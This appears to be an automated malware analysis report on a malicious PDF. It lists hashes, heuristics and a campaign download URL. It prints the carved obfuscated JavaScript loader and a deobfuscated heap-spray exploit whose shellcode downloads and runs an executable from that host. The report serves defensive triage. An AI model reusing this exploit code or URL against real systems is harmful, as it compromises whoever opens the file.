Malicious PDF — malware analysis report

Static analysis result for SHA-256 fe4b9a44f4c0b8fc…

MALICIOUS

PDF

2.3 KB First seen: 2013-07-30
MD5: bbb84e09e760e6b47541c2274d0b1f5b SHA-1: 9eca6a93867fb78794d766532db9cd4df429d94d SHA-256: fe4b9a44f4c0b8fc34ee5f2c3b372bb93af6f3ec5418f14751acaeca2c1dbf35
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript, which is heavily obfuscated using eval() and unescape() functions. The ML classifier strongly indicates maliciousness. The presence of obfuscated JavaScript streams and the ML score suggest the PDF is designed to download and execute a secondary payload, although the exact mechanism and target are not fully discernible from the provided evidence. The extracted JavaScript files are named 'javascript_obj111611_000.js' and 'legacy_pdfkit_stage_000.js'.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://intercullertdi50.net/pek/l.php?i=5 Referenced by PDF JavaScript
🗂 Part of campaign: intercullertdi50.net 5 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x7ED 478 bytes
SHA-256: e7d1232c16a6e584ebcad6ed89ed39659361935894de0b1df6aee2e4fe16ce04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2846 bytes
SHA-256: 3efc511cab3450d03e102f8bacbdfd90da7b688c05324fb0fdc497d6829faed9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u692f%u746e%u7265%u7563%u6c6c%u7265%u6474%u3569%u2e30%u656e%u2f74%u6570%u2f6b%u2e6c%u6870%u3f70%u3d69%u0035%u9000");heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while (bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while (block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);

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